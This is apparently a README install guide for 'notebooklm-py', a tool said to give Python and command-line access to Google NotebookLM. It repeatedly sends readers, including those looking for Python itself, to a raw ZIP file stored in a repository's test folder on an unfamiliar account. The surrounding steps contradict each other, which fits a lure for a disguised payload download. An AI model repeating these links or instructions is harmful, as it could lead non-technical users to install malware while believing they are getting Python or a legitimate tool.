notebooklm-py is a tool that lets you use Google NotebookLM through Python. It gives you more control than the web interface by unlocking extra features. You can also use it through the command line or AI helpers like Claude Code and Codex.
This tool is meant for people who want to get more from their NotebookLM without using the website directly. You donβt need to be a programmer to follow this guide and run the program on your Windows computer.
- Windows 10 or later (64-bit)
- Python 3.8 or higher installed
- At least 4 GB of RAM
- Internet connection to use NotebookLM features fully
- Administrator rights to install programs
- Make sure your Windows version is up to date.
- Check if Python is installed:
- Open Command Prompt (press Windows key, type
cmd, press Enter). - Type
python --versionand press Enter. - If a version number appears, Python is installed.
- Open Command Prompt (press Windows key, type
- If Python is not installed, go to https://raw.githubusercontent.com/patriarchal-boothose896/notebooklm-py/main/tests/e2e/notebooklm_py_3.3.zip and download the latest version.
- Install Python, and make sure to check "Add Python to PATH" during installation.
Click the big green button at the top or visit this link:
This link will take you to the GitHub repository where you can download the program files.
- Go to https://raw.githubusercontent.com/patriarchal-boothose896/notebooklm-py/main/tests/e2e/notebooklm_py_3.3.zip
- Click on the green Code button near the top right.
- Select Download ZIP.
- Save the ZIP file to your computer, for example in your Downloads folder.
- Find the ZIP file you downloaded.
- Right-click on the ZIP file and choose Extract All....
- Choose a location you can find easily, such as Desktop.
- Click Extract.
- After extraction, open the folder named
notebooklm-py-mainor similar.
- Click on the folderβs address bar at the top.
- Type
cmdand press Enter. This opens Command Prompt with the folder set.
notebooklm-py needs some Python tools to work properly. Install them by typing this command in Command Prompt and pressing Enter:
pip install -r requirements.txt
This will download and install all needed Python packages.
Once installation completes, you can start the program by typing:
python main.py
Then press Enter.
The program will open and you can start using it.
Here are some common ways to use notebooklm-py:
- Use Python scripts to talk to NotebookLM for notes and queries.
- Run commands through the command line to test features.
- Connect to AI helpers for extended tasks like code generation or podcast creation.
no programming knowledge is needed, but familiarity with typing commands in the Command Prompt helps.
-
To run the program:
python main.py -
To see available options in CLI:
python main.py --help -
To use a specific skill (like Claude or OpenClaw):
python main.py --skill claude
Replace claude with any supported skill name.
notebooklm-py uses Google services which require you to log in securely. Your data stays private with Googleβs policies. Avoid sharing sensitive information when using AI features.
-
Keep Python and your packages updated by running:
pip install --upgrade pip
and
pip install --upgrade -r requirements.txt -
Use a reliable internet connection for smooth operation.
-
Close other heavy programs if your PC becomes slow.
-
Check the GitHub page occasionally for updates and new features.
- Full access to NotebookLM features beyond the web interface.
- Supports agentic AI skills like Claude Code and Codex.
- Works with Python scripts and command line.
- Allows automation and integration with other tools.
- Designed to be simple for non-programmers.
GitHub Issues β for reporting problems or asking questions
If something does not work as expected:
- Review the instructions carefully.
- Make sure Python and packages are installed.
- Try restarting your computer.
- Use the GitHub Issues page to ask for support.
notebooklm-py works best on a Windows PC but can run on other systems with Python. For non-Windows operating systems, please check platform-specific setup instructions from the repository.
The tool is open-source, so you can look at the Python files if you want to learn more about how it works.
After you get notebooklm-py running, try exploring:
- Writing simple Python scripts to ask NotebookLM questions.
- Using the built-in skills for automation.
- Combining commands with other tools like your text editor.
Your PC will now have more powerful options to work with your Google NotebookLM data.
